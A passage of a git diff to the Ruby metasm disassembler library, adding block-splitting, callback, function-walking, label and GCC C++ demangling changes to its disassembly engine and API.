debug_backtrace if di = @decoded[addr] if di.kind_of? DecodedInstruction - split_block(di.block, di.address) if not di.block_head? # this updates di.block + split_block(di.block, di.address, true) if not di.block_head? # this updates di.block di.block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default bf = di.block elsif di == true @@ -726,20 +752,22 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace end # splits an InstructionBlock, updates the blocks backtracked_for - def split_block(block, address=nil) + def split_block(block, address=nil, rebacktrace=false) if not address # invoked as split_block(0x401012) return if not @decoded[block].kind_of? DecodedInstruction block, address = @decoded[block].block, block end return block if address == block.address new_b = block.split address - new_b.backtracked_for.dup.each { |btt| - backtrace(btt.expr, btt.address, - :only_upto => block.list.last.address, - :include_start => !btt.exclude_instr, :from_subfuncret => btt.from_subfuncret, - :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, :len => btt.len, - :detached => btt.detached, :maxdepth => btt.maxdepth) - } + if rebacktrace + new_b.backtracked_for.dup.each { |btt| + backtrace(btt.expr, btt.address, + :only_upto => block.list.last.address, + :include_start => !btt.exclude_instr, :from_subfuncret => btt.from_subfuncret, + :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, :len => btt.len, + :detached => btt.detached, :maxdepth => btt.maxdepth) + } + end new_b end @@ -763,8 +791,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace each_xref(waddr, :w) { |x| #next if off + x.len < 0 puts "W: disasm: self-modifying code at #{Expression[waddr]}" if $VERBOSE - @comment[di_addr] ||= [] - @comment[di_addr] |= ["overwritten by #{@decoded[x.origin]}"] + add_comment(di_addr, "overwritten by #{@decoded[x.origin]}") @callback_selfmodifying[di_addr] if callback_selfmodifying return } @@ -775,6 +802,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace block.edata.ptr = di_addr - block.address + block.edata_ptr if not di = @cpu.decode_instruction(block.edata, di_addr) ed = block.edata + break if ed.ptr >= ed.length and get_section_at(di_addr) and di = block.list.last puts "#{ed.ptr >= ed.length ? "end of section reached" : "unknown instruction #{ed.data[di_addr-block.address+block.edata_ptr, 4].to_s.unpack('H*')}"} at #{Expression[di_addr]}" if $VERBOSE return end @@ -783,7 +811,18 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace block.add_di di puts di if $DEBUG - di = @callback_newinstr[di] if callback_newinstr + if callback_newinstr + ndi = @callback_newinstr[di] + if not ndi or not ndi.block + block.list.delete di + if ndi + block.add_di ndi + ndi.bin_length = di.bin_length if ndi.bin_length == 0 + @decoded[di_addr] = ndi + end + end + di = ndi + end return if not di block = di.block @@ -793,7 +832,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace if not di_addr or di.opcode.props[:stopexec] or not @program.get_xrefs_x(self, di).empty? # do not backtrace until delay slot is finished (eg MIPS: di is a - # ret and the delay slot holds stack fixup needed to calc func_binding) + # ret and the delay slot holds stack fixup needed to calc func_binding) # XXX if the delay slot is also xref_x or :stopexec it is ignored delay_slot ||= [di, @cpu.delay_slot(di)] end @@ -835,6 +874,8 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace @entrypoints |= entrypoints entrypoints.each { |ep| do_disassemble_fast_deep(normalize(ep)) } + + @callback_finished[] if callback_finished end def do_disassemble_fast_deep(ep) @@ -896,8 +937,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace } if func auto_label_at(addr, 'sub', 'loc', 'xref') - # XXX use default_btbind_callback ? - @function[addr] = DecodedFunction.new + @function[addr] = (@function[:default] || DecodedFunction.new).dup @function[addr].finalized = true detect_function_thunk(addr) puts "found new function #{get_label_at(addr)} at #{Expression[addr]}" if $VERBOSE @@ -909,7 +949,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace # does not recurse into subfunctions # assumes all :saveip returns, except those pointing to a subfunc with noreturn # yields subfunction addresses (targets of :saveip) - # only backtrace for :x with maxdepth 1 (ie handles only basic push+ret) + # no backtrace for :x (change with backtrace_maxblocks_fast) # returns a todo-style ary # assumes @addrs_todo is empty def disassemble_fast_block(block, &b) @@ -927,6 +967,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace # decode instruction block.edata.ptr = di_addr - block.address + block.edata_ptr if not di = @cpu.decode_instruction(block.edata, di_addr) + break if block.edata.ptr >= block.edata.length and get_section_at(di_addr) and di = block.list.last return ret end @@ -934,7 +975,18 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace block.add_di di puts di if $DEBUG - di = @callback_newinstr[di] if callback_newinstr + if callback_newinstr + ndi = @callback_newinstr[di] + if not ndi or not ndi.block + block.list.delete di + if ndi + block.add_di ndi + ndi.bin_length = di.bin_length if ndi.bin_length == 0 + @decoded[di_addr] = ndi + end + end + di = ndi + end return ret if not di di_addr = di.next_addr @@ -942,7 +994,9 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace if di.opcode.props[:stopexec] or di.opcode.props[:setip] if di.opcode.props[:setip] @addrs_todo = [] - @program.get_xrefs_x(self, di).each { |expr| + ar = @program.get_xrefs_x(self, di) + ar = @callback_newaddr[di.address, ar] || ar if callback_newaddr + ar.each { |expr| backtrace(expr, di.address, :origin => di.address, :type => :x, :maxdepth => @backtrace_maxblocks_fast) } end @@ -965,8 +1019,13 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace end } - di.block.add_to_normal(di_addr) - ret << [di_addr, di.address] + ar = [di_addr] + ar = @callback_newaddr[block.list.last.address, ar] || ar if callback_newaddr + ar.each { |a| + di.block.add_to_normal(a) + ret << [a, di.address] + } + ret end # handles when disassemble_fast encounters a call to a subfunction @@ -1037,7 +1096,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace count = 0 while b = block_at(addr) count += 1 - return if count > 5 or b.list.length > 4 + return if count > 5 or b.list.length > 5 if b.to_subfuncret and not b.to_subfuncret.empty? return if b.to_subfuncret.length != 1 addr = normalize(b.to_subfuncret.first) @@ -1047,7 +1106,7 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace return if not btb = sf.backtrace_binding btb = btb.dup btb.delete_if { |k, v| Expression[k] == Expression[v] } - return if btb.length > 2 or btb.values.include? Expression::Unknown + return if btb.length > 2 or btb.values.include? Expression::Unknown else return if not bt = b.to_normal if bt.include? :default @@ -1291,6 +1350,88 @@ puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace end end + # iterates over all instructions of a function from a given entrypoint + # carries an object while walking, the object is yielded every instruction + # every block is walked only once, after all previous blocks are done (if possible) + # on a 'jz', a [:clone] event is yielded for every path beside the first + # on a juction (eg a -> b -> d, a -> c -> d), a [:merge] event occurs if froms have different objs + # event list: + # [:di, , , ] + # [:clone, , , ] + # [:merge, , { => , => , ...}, ] + # [:subfunc, , , ] + # all events should return an object + # :merge has a copy of object1 at the end so that uninterested callers can always return args[-1] + # if an event returns false, the trace stops for the current branch + def function_walk(addr_start, obj_start) + # addresses of instrs already seen => obj + done = {} + todo = [[addr_start, obj_start]] + + while hop = todo.pop + addr, obj = hop + next if done.has_key?(done) + + di = di_at(addr) + next if not di + + if done.empty? + dilist = di.block.list[di.block.list.index(di)..-1] + else + # new block, check all 'from' have been seen + if not hop[2] + # may retry later + all_ok = true + di.block.each_from_samefunc(self) { |fa| all_ok = false unless done.has_key?(fa) } + if not all_ok + todo.unshift([addr, obj, true]) + next + end + end + + froms = {} + di.block.each_from_samefunc(self) { |fa| froms[fa] = done[fa] if done[fa] } + if froms.values.uniq.length > 1 + obj = yield([:merge, addr, froms, froms.values.first]) + next if obj == false + end + + dilist = di.block.list + end + + if dilist.each { |_di| + break if done.has_key?(_di.address) # looped back into addr_start + done[_di.address] = obj + obj = yield([:di, _di.address, _di, obj]) + break if obj == false # also return false for the previous 'if' + } + + from = dilist.last.address + + if di.block.to_normal and di.block.to_normal[0] and + di.block.to_subfuncret and di.block.to_subfuncret[0] + # current instruction block calls into a subfunction + obj = di.block.to_normal.map { |subf| + yield([:subfunc, subf, from, obj]) + }.first # propagate 1st subfunc result + next if obj == false + end + + wantclone = false + di.block.each_to_samefunc(self) { |ta| + if wantclone + nobj = yield([:clone, ta, from, obj]) + next if obj == false + todo << [ta, nobj] + else + todo << [ta, obj] + wantclone = true + end + } + end + end + end + # holds a backtrace result until a snapshot_addr is encountered class StoppedExpr attr_accessor :exprs @@ -1356,7 +1497,7 @@ puts " not backtracking stack address #{expr}" if debug_backtrace end if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, - di, origin, type, len, maxdepth, detached)) + di, origin, type, len, maxdepth, detached, snapshot_addr)) # no need to update backtracked_for return vals elsif maxdepth <= 0 @@ -1396,7 +1537,7 @@ puts " backtrace up #{Expression[h[:addr]]} #{oldexpr}#{" => #{expr}" if expr if expr != oldexpr and not snapshot_addr and vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, nil, origin, type, len, - maxdepth-h[:loopdetect].length, detached)) + maxdepth-h[:loopdetect].length, detached, snapshot_addr)) result |= vals next end @@ -1437,7 +1578,7 @@ puts " backtrace up #{Expression[h[:from]]}->#{Expression[h[:to]]} #{oldexpr}# if expr != oldexpr and vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, @decoded[h[:from]], origin, type, len, - maxdepth-h[:loopdetect].length, detached)) + maxdepth-h[:loopdetect].length, detached, snapshot_addr)) if snapshot_addr expr = StoppedExpr.new vals next expr @@ -1498,7 +1639,7 @@ oldexpr = expr when :func expr = backtrace_emu_subfunc(h[:func], h[:funcaddr], h[:addr], expr, origin, maxdepth-h[:loopdetect].length) if snapshot_addr and snapshot_addr == h[:funcaddr] - # XXX recursiveness detection needs to be fixed + # XXX recursiveness detection needs to be fixed puts " backtrace: recursive function #{Expression[h[:funcaddr]]}" if debug_backtrace next false end @@ -1506,7 +1647,7 @@ puts " backtrace: recursive function #{Expression[h[:funcaddr]]}" if debug_back end puts " backtrace #{h[:di] || Expression[h[:funcaddr]]} #{oldexpr} => #{expr}" if debug_backtrace and expr != oldexpr if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, - h[:di], origin, type, len, maxdepth-h[:loopdetect].length, detached)) + h[:di], origin, type, len, maxdepth-h[:loopdetect].length, detached, snapshot_addr)) if snapshot_addr expr = StoppedExpr.new vals else @@ -1588,10 +1729,14 @@ puts " backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if (ab = @address_binding[addr]) ? Expression[expr.bind(ab).reduce] : expr end + def backtrace_update_function_binding(addr, func=@function[addr], retaddrs=func.return_address) + @cpu.backtrace_update_function_binding(self, addr, func, retaddrs) + end + # static resolution of indirections def resolve(expr) binding = Expression[expr].expr_indirections.inject(@old_prog_binding) { |binding_, ind| - e, b = get_section_at(resolve(ind.target)) + e = get_edata_at(resolve(ind.target)) return expr if not e binding_.merge ind => Expression[ e.decode_imm("u#{8*ind.len}".to_sym, @cpu.endianness) ] } @@ -1619,7 +1764,7 @@ puts " backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if # TODO trace expr evolution through backtrace, to modify immediates to an expr involving label names # TODO mov [ptr], imm ; <...> ; jmp [ptr] => rename imm as loc_XX # eg. mov eax, 42 ; add eax, 4 ; jmp eax => mov eax, some_label-4 - def backtrace_check_found(expr, di, origin, type, len, maxdepth, detached) + def backtrace_check_found(expr, di, origin, type, len, maxdepth, detached, snapshot_addr=nil) # only entrypoints or block starts called by a :saveip are checked for being a function # want to execute [esp] from a block start if type == :x and di and di == di.block.list.first and @cpu.backtrace_is_function_return(expr, @decoded[origin]) and ( @@ -1649,11 +1794,14 @@ puts " backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if end return if need_backtrace(expr) + if snapshot_addr + return if expr.expr_externals(true).find { |ee| ee.kind_of?(Indirection) } + end puts "backtrace #{type} found #{expr} from #{di} orig #{@decoded[origin] || Expression[origin] if origin}" if debug_backtrace result = backtrace_value(expr, maxdepth) # keep the ori pointer in the results to emulate volatile memory (eg decompiler prefers this) - result << expr if not type + #result << expr if not type # XXX returning multiple values for nothing is too confusing, TODO fix decompiler result.uniq! # create xrefs/labels @@ -1695,7 +1843,7 @@ puts "backtrace #{type} found #{expr} from #{di} orig #{@decoded[origin] || Expr ret = [] decode_imm = lambda { |addr, len| - edata, foo = get_section_at(addr) + edata = get_edata_at(addr) if edata Expression[ edata.decode_imm("u#{8*len}".to_sym, @cpu.endianness) ] else @@ -1803,7 +1951,7 @@ puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra # TODO trace expression evolution to allow handling of # mov eax, 28 ; add eax, 4 ; jmp eax # => mov eax, (loc_xx-4) - if di and not unk # and di.address == origin + if di and not unk and expr != n # and di.address == origin @cpu.replace_instr_arg_immediate(di.instruction, expr, n) end if @decoded[origin] and not unk @@ -1850,6 +1998,10 @@ puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra end end + def inspect + "" % object_id + end + def to_s a = '' dump { |l| a << l << "\n" } @@ -1916,7 +2068,7 @@ puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra if not xr.empty? b["\n// Xrefs: #{xr[0, 8].join(' ')}#{' ...' if xr.length > 8}"] end - if block.edata.inv_export[block.edata_ptr] + if block.edata.inv_export[block.edata_ptr] and label_alias[block.address] b["\n"] if xr.empty? label_alias[block.address].each { |name| b["#{name}:"] } end @@ -1933,8 +2085,8 @@ puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra # TODO array-style data access def dump_data(addr, edata, off, &b) b ||= lambda { |l| puts l } - if l = edata.inv_export[off] - l_list = label_alias[addr].to_a.sort + if l = edata.inv_export[off] and label_alias[addr] + l_list = label_alias[addr].sort l = l_list.pop || l l_list.each { |ll| b["#{ll}:"] diff --git a/lib/metasm/metasm/disassemble_api.rb b/lib/metasm/metasm/disassemble_api.rb index aeef221eb2..416988a806 100644 --- a/lib/metasm/metasm/disassemble_api.rb +++ b/lib/metasm/metasm/disassemble_api.rb @@ -99,6 +99,28 @@ class InstructionBlock yield to if type == :indirect or dasm.function[to] or not dasm.decoded[to] } end + + # returns the array used in each_from_samefunc + def from_samefunc(dasm) + ary = [] + each_from_samefunc(dasm) { |a| ary << a } + ary + end + def from_otherfunc(dasm) + ary = [] + each_from_otherfunc(dasm) { |a| ary << a } + ary + end + def to_samefunc(dasm) + ary = [] + each_to_samefunc(dasm) { |a| ary << a } + ary + end + def to_otherfunc(dasm) + ary = [] + each_to_otherfunc(dasm) { |a| ary << a } + ary + end end class DecodedInstruction @@ -111,44 +133,6 @@ end class CPU # compat alias, for scripts using older version of metasm def get_backtrace_binding(di) backtrace_binding(di) end - - # return something like backtrace_binding in the forward direction - # set pc_reg to some reg name (eg :pc) to include effects on the instruction pointer - def get_fwdemu_binding(di, pc_reg=nil) - fdi = di.backtrace_binding ||= get_backtrace_binding(di) - # find self-updated regs & revert them in simultaneous affectations - # XXX handles only a <- a+i for now, this covers all useful cases (except imul eax, eax, 42 jz foobar) - fdi.keys.grep(::Symbol).each { |s| - val = Expression[fdi[s]] - next if val.lexpr != s or (val.op != :+ and val.op != :-) #or not val.rexpr.kind_of? ::Integer - fwd = { s => val } - inv = { s => val.dup } - inv[s].op = ((inv[s].op == :+) ? :- : :+) - nxt = {} - fdi.each { |k, v| - if k == s - nxt[k] = v - else - k = k.bind(fwd).reduce_rec if k.kind_of? Indirection - nxt[k] = Expression[Expression[v].bind(inv).reduce_rec] - end - } - fdi = nxt - } - if pc_reg - if di.opcode.props[:setip] - xr = get_xrefs_x(nil, di) - if xr and xr.length == 1 - fdi[pc_reg] = xr[0] - else - fdi[:incomplete_binding] = Expression[1] - end - else - fdi[pc_reg] = Expression[pc_reg, :+, di.bin_length] - end - end - fdi - end end class Disassembler @@ -156,11 +140,16 @@ class Disassembler def self.backtrace_maxblocks ; @@backtrace_maxblocks ; end def self.backtrace_maxblocks=(b) ; @@backtrace_maxblocks = b ; end - # returns the dasm section's edata containing addr - # its #ptr points to addr - # returns the 1st element of #get_section_at - def get_edata_at(addr) - if s = get_section_at(addr) + # adds a commentary at the given address + # comments are found in the array @comment: {addr => [list of strings]} + def add_comment(addr, cmt) + @comment[addr] ||= [] + @comment[addr] |= [cmt] + end + + # returns the 1st element of #get_section_at (ie the edata at a given address) or nil + def get_edata_at(*a) + if s = get_section_at(*a) s[0] end end @@ -209,12 +198,12 @@ class Disassembler # yields every InstructionBlock # returns the list of IBlocks - def each_instructionblock + def each_instructionblock(&b) ret = [] @decoded.each { |addr, di| next if not di.kind_of? DecodedInstruction or not di.block_head? ret << di.block - yield di.block if block_given? + b.call(di.block) if b } ret end @@ -293,18 +282,19 @@ class Disassembler # returns the label associated to an addr, or nil if none exist def get_label_at(addr) - e, b = get_section_at(addr, false) + e = get_edata_at(addr, false) e.inv_export[e.ptr] if e end # sets the label for the specified address # returns nil if the address is not mapped # memcheck is passed to get_section_at to validate that the address is mapped - def set_label_at(addr, name, memcheck=true) + # keep existing label if 'overwrite' is false + def set_label_at(addr, name, memcheck=true, overwrite=true) addr = Expression[addr].reduce e, b = get_section_at(addr, memcheck) if not e - elsif not l = e.inv_export[e.ptr] + elsif not l = e.inv_export[e.ptr] or (!overwrite and l != name) l = @program.new_label(name) e.add_export l, e.ptr @label_alias_cache = nil @@ -317,7 +307,7 @@ class Disassembler # remove a label at address addr def del_label_at(addr, name=get_label_at(addr)) - ed, b = get_section_at(addr) + ed = get_edata_at(addr) if ed and ed.inv_export[ed.ptr] ed.del_export name, ed.ptr @label_alias_cache = nil @@ -325,6 +315,7 @@ class Disassembler each_xref(addr) { |xr| next if not xr.origin or not o = @decoded[xr.origin] or not o.kind_of? Renderable o.each_expr { |e| + next unless e.kind_of?(Expression) e.lexpr = addr if e.lexpr == name e.rexpr = addr if e.rexpr == name } @@ -337,12 +328,14 @@ class Disassembler # returns the new label # the new label must be program-uniq (see @program.new_label) def rename_label(old, new) + return new if old == new + raise "label #{new.inspect} exists" if @prog_binding[new] each_xref(normalize(old)) { |x| next if not di = @decoded[x.origin] @cpu.replace_instr_arg_immediate(di.instruction, old, new) di.comment.to_a.each { |c| c.gsub!(old, new) } } - e, l = get_section_at(old, false) + e = get_edata_at(old, false) if e e.add_export new, e.export.delete(old), true end @@ -499,12 +492,12 @@ class Disassembler # if from..to spans multiple blocks # to.block is splitted after to # all path from from are replaced by a single link to after 'to', be careful ! - # (eg a->b->... & a->c ; from in a, to in c => a->b is lost) + # (eg a->b->... & a->c ; from in a, to in c => a->b is lost) # all instructions are stuffed in the first block # paths are only walked using from/to_normal # 'by' may be empty # returns the block containing the new instrs (nil if empty) - def replace_instrs(from, to, by) + def replace_instrs(from, to, by, patch_by=false) raise 'bad from' if not fdi = di_at(from) or not fdi.block.list.index(fdi) raise 'bad to' if not tdi = di_at(to) or not tdi.block.list.index(tdi) @@ -520,14 +513,28 @@ class Disassembler wantlen -= by.grep(DecodedInstruction).inject(0) { |len, di| len + di.bin_length } ldi = by.last ldi = DecodedInstruction.new(ldi) if ldi.kind_of? Instruction - wantlen = by.grep(Instruction).length if wantlen < 0 or (ldi and ldi.opcode.props[:setip]) - by.map! { |di| - if di.kind_of? Instruction - di = DecodedInstruction.new(di) - wantlen -= di.bin_length = wantlen / by.grep(Instruction).length - end - di - } + nb_i = by.grep(Instruction).length + wantlen = nb_i if wantlen < 0 or (ldi and ldi.opcode.props[:setip]) + if patch_by + by.map! { |di| + if di.kind_of? Instruction + di = DecodedInstruction.new(di) + wantlen -= di.bin_length = wantlen / by.grep(Instruction).length + nb_i -= 1 + end + di + } + else + by = by.map { |di| + if di.kind_of? Instruction + di = DecodedInstruction.new(di) + wantlen -= (di.bin_length = wantlen / nb_i) + nb_i -= 1 + end + di + } + end + #puts " ** patch next_addr to #{Expression[tb.list.last.next_addr]}" if not by.empty? and by.last.opcode.props[:saveip] by.last.next_addr = tb.list.last.next_addr if not by.empty? and by.last.opcode.props[:saveip] @@ -649,8 +656,8 @@ class Disassembler if b1 and not b1.kind_of? InstructionBlock return if not b1 = block_at(b1) end - if b2 and not b2.kind_of? InstructionBlock - return if not b2 = block_at(b2) + if b2 and not b2.kind_of? InstructionBlock + return if not b2 = block_at(b2) end if b1 and b2 and (allow_nonadjacent or b1.list.last.next_addr == b2.address) and b1.to_normal.to_a == [b2.address] and b2.from_normal.to_a.length == 1 and # that handles delay_slot @@ -720,17 +727,23 @@ class Disassembler end # returns a demangled C++ name + def demangle_cppname(name) + case name[0] + when ?? # MSVC + name = name[1..-1] + demangle_msvc(name[1..-1]) if name[0] == ?? + when ?_ + name = name.sub(/_GLOBAL__[ID]_/, '') + demangle_gcc(name[2..-1][/\S*/]) if name[0, 2] == '_Z' + end + end + # from wgcc-2.2.2/undecorate.cpp # TODO - def demangle_cppname(name) - ret = name - if name[0] == ?? - name = name[1..-1] - if name[0] == ?? - name = name[1..-1] - op = name[0, 1] - op = name[0, 2] if op == '_' - if op = { + def demangle_msvc(name) + op = name[0, 1] + op = name[0, 2] if op == '_' + if op = { '2' => "new", '3' => "delete", '4' => "=", '5' => ">>", '6' => "<<", '7' => "!", '8' => "==", '9' => "!=", 'A' => "[]", 'C' => "->", 'D' => "*", 'E' => "++", 'F' => "--", 'G' => "-", 'H' => "+", 'I' => "&", 'J' => "->*", 'K' => "/", 'L' => "%", 'M' => "<", 'N' => "<=", 'O' => ">", 'P' => ">=", 'Q' => ",", @@ -743,11 +756,157 @@ class Disassembler '_M' => "`eh vector destructor iterator'", '_N' => "`eh vector vbase constructor iterator'", '_O' => "`copy constructor closure'", '_S' => "`local vftable'", '_T' => "`local vftable constructor closure'", '_U' => "new[]", '_V' => "delete[]", '_X' => "`placement delete closure'", '_Y' => "`placement delete[] closure'"}[op] - ret = op[0] == ?` ? op[1..-2] : "op_#{op}" + op[0] == ?` ? op[1..-2] : "op_#{op}" + end + end + + # from http://www.codesourcery.com/public/cxx-abi/abi.html + def demangle_gcc(name) + subs = [] + ret = '' + decode_tok = lambda { + name ||= '' + case name[0] + when nil + ret = nil + when ?N + name = name[1..-1] + decode_tok[] + until name[0] == ?E + break if not ret + ret << '::' + decode_tok[] + end + name = name[1..-1] + when ?I + name = name[1..-1] + ret = ret[0..-3] if ret[-2, 2] == '::' + ret << '<' + decode_tok[] + until name[0] == ?E + break if not ret + ret << ', ' + decode_tok[] + end + ret << ' ' if ret and ret[-1] == ?> + ret << '>' if ret + name = name[1..-1] + when ?T + case name[1] + when ?T; ret << 'vtti(' + when ?V; ret << 'vtable(' + when ?I; ret << 'typeinfo(' + when ?S; ret << 'typename(' + else ret = nil + end + name = name[2..-1].to_s + decode_tok[] if ret + ret << ')' if ret + name = name[1..-1] if name[0] == ?E + when ?C + name = name[2..-1] + base = ret[/([^:]*)(<.*|::)?$/, 1] + ret << base + when ?D + name = name[2..-1] + base = ret[/([^:]*)(<.*|::)?$/, 1] + ret << '~' << base + when ?0..?9 + nr = name[/^[0-9]+/] + name = name[nr.length..-1].to_s + ret << name[0, nr.to_i] + name = name[nr.to_i..-1] + subs << ret[/[\w:]*$/] + when ?S + name = name[1..-1] + case name[0] + when ?_, ?0..?9, ?A..?Z + case name[0] + when ?_; idx = 0 ; name = name[1..-1] + when ?0..?9; idx = name[0, 1].unpack('C')[0] - 0x30 + 1 ; name = name[2..-1] + when ?A..?Z; idx = name[0, 1].unpack('C')[0] - 0x41 + 11 ; name = name[2..-1] + end + if not subs[idx] + ret = nil + else + ret << subs[idx] + end + when ?t + ret << 'std::' + name = name[1..-1] + decode_tok[] + else + std = { ?a => 'std::allocator', + ?b => 'std::basic_string', + ?s => 'std::string', # 'std::basic_string < char, std::char_traits, std::allocator >', + ?i => 'std::istream', # 'std::basic_istream >', + ?o => 'std::ostream', # 'std::basic_ostream >', + ?d => 'std::iostream', # 'std::basic_iostream >' + }[name[0]] + if not std + ret = nil + else + ret << std + end + name = name[1..-1] + end + when ?P, ?R, ?r, ?V, ?K + attr = { ?P => '*', ?R => '&', ?r => ' restrict', ?V => ' volatile', ?K => ' const' }[name[0]] + name = name[1..-1] + rl = ret.length + decode_tok[] + if ret + ret << attr + subs << ret[rl..-1] + end + else + if ret =~ /[(<]/ and ty = { + ?v => 'void', ?w => 'wchar_t', ?b => 'bool', ?c => 'char', ?a => 'signed char', + ?h => 'unsigned char', ?s => 'short', ?t => 'unsigned short', ?i => 'int', + ?j => 'unsigned int', ?l => 'long', ?m => 'unsigned long', ?x => '__int64', + ?y => 'unsigned __int64', ?n => '__int128', ?o => 'unsigned __int128', ?f => 'float', + ?d => 'double', ?e => 'long double', ?g => '__float128', ?z => '...' + }[name[0]] + name = name[1..-1] + ret << ty + else + fu = name[0, 2] + name = name[2..-1] + if op = { + 'nw' => ' new', 'na' => ' new[]', 'dl' => ' delete', 'da' => ' delete[]', + 'ps' => '+', 'ng' => '-', 'ad' => '&', 'de' => '*', 'co' => '~', 'pl' => '+', + 'mi' => '-', 'ml' => '*', 'dv' => '/', 'rm' => '%', 'an' => '&', 'or' => '|', + 'eo' => '^', 'aS' => '=', 'pL' => '+=', 'mI' => '-=', 'mL' => '*=', 'dV' => '/=', + 'rM' => '%=', 'aN' => '&=', 'oR' => '|=', 'eO' => '^=', 'ls' => '<<', 'rs' => '>>', + 'lS' => '<<=', 'rS' => '>>=', 'eq' => '==', 'ne' => '!=', 'lt' => '<', 'gt' => '>', + 'le' => '<=', 'ge' => '>=', 'nt' => '!', 'aa' => '&&', 'oo' => '||', 'pp' => '++', + 'mm' => '--', 'cm' => ',', 'pm' => '->*', 'pt' => '->', 'cl' => '()', 'ix' => '[]', + 'qu' => '?', 'st' => ' sizeof', 'sz' => ' sizeof', 'at' => ' alignof', 'az' => ' alignof' + }[fu] + ret << "operator#{op}" + elsif fu == 'cv' + ret << "cast<" + decode_tok[] + ret << ">" if ret + else + ret = nil + end end end + name ||= '' + } + + decode_tok[] + subs.pop + if ret and name != '' + ret << '(' + decode_tok[] + while ret and name != '' + ret << ', ' + decode_tok[] + end + ret << ')' if ret end - # TODO ret end @@ -755,7 +914,8 @@ class Disassembler # return/yields all the addresses matching # if yield returns nil/false, do not include the addr in the final result # sections are scanned MB by MB, so this should work (slowly) on 4GB sections (eg debugger VM) - def pattern_scan(pat, chunksz=nil, margin=nil) + # with addr_start/length, symbol-based section are skipped + def pattern_scan(pat, addr_start=nil, length=nil, chunksz=nil, margin=nil, &b) chunksz ||= 4*1024*1024 # scan 4MB at a time margin ||= 65536 # add this much bytes at each chunk to find /pat/ over chunk boundaries @@ -763,9 +923,27 @@ class Disassembler found = [] @sections.each { |sec_addr, e| + if addr_start + length ||= 0x1000_0000 + begin + if sec_addr < addr_start + next if sec_addr+e.length <= addr_start + e = e[addr_start-sec_addr, e.length] + sec_addr = addr_start + end + if sec_addr+e.length > addr_start+length + next if sec_addr > addr_start+length + e = e[0, sec_addr+e.length-(addr_start+length)] + end + rescue + puts $!, $!.message, $!.backtrace if $DEBUG + # catch arithmetic error with symbol-based section + next + end + end e.pattern_scan(pat, chunksz, margin) { |eo| match_addr = sec_addr + eo - found << match_addr if not block_given? or yield(match_addr) + found << match_addr if not b or b.call(match_addr) false } } @@ -773,14 +951,14 @@ class Disassembler end # returns/yields [addr, string] found using pattern_scan /[\x20-\x7e]/ - def strings_scan(minlen=6) + def strings_scan(minlen=6, &b) ret = [] nexto = 0 - pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o| + pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o| if o - nexto > 0 next unless e = get_edata_at(o) - str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm] - ret << [o, str] if not block_given? or yield(o, str) + str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m] + ret << [o, str] if not b or b.call(o, str) nexto = o + str.length end } @@ -805,18 +983,23 @@ class Disassembler def load_map(str, off=0) str = File.read(str) rescue nil if not str.index("\n") sks = @sections.keys.sort + seen = {} str.each_line { |l| case l.strip when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style - set_label_at($1.to_i(16)+off, $3) + addr = $1.to_i(16)+off + set_label_at(addr, $3, false, !seen[addr]) + seen[addr] = true when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style # we do not have section load order, let's just hope that the addresses are sorted (and sortable..) # could check the 1st part of the file, with section sizes, but it is not very convenient # the regexp is so that we skip the 1st part with section descriptions # in the file, section 1 is the 1st section ; we have an additionnal section (exe header) which fixes the 0-index - set_label_at(sks[$1.to_i(16)] + $2.to_i(16) + off, $3) + addr = sks[$1.to_i(16)] + $2.to_i(16) + off + set_label_at(addr, $3, false, !seen[addr]) + seen[addr] = true end - } + } end # saves the dasm state in a file @@ -830,13 +1013,14 @@ class Disassembler def save_io(fd) fd.puts 'Metasm.dasm' - if @program.filename + if @program.filename and not @program.kind_of?(Shellcode) t = @program.filename.to_s fd.puts "binarypath #{t.length}", t else t = "#{@cpu.class.name.sub(/.*::/, '')} #{@cpu.size} #{@cpu.endianness}" fd.puts "cpu #{t.length}", t # XXX will be reloaded as a Shellcode with this CPU, but it may be a custom EXE + # do not output binarypath, we'll be loaded as a Shellcode, 'section' will suffice end @sections.each { |a, e| @@ -942,6 +1126,7 @@ class Disassembler reinitialize Shellcode.new(cpu) @program.disassembler = self @program.init_disassembler + @sections.delete(0) # rm empty section at 0, other real 'section' follow when 'section' info = data[0, data.index("\n") || data.length] data = data[info.length, data.length] @@ -1030,7 +1215,7 @@ class Disassembler len = (len != '' ? len.to_i : nil) o = (o.to_s != '' ? 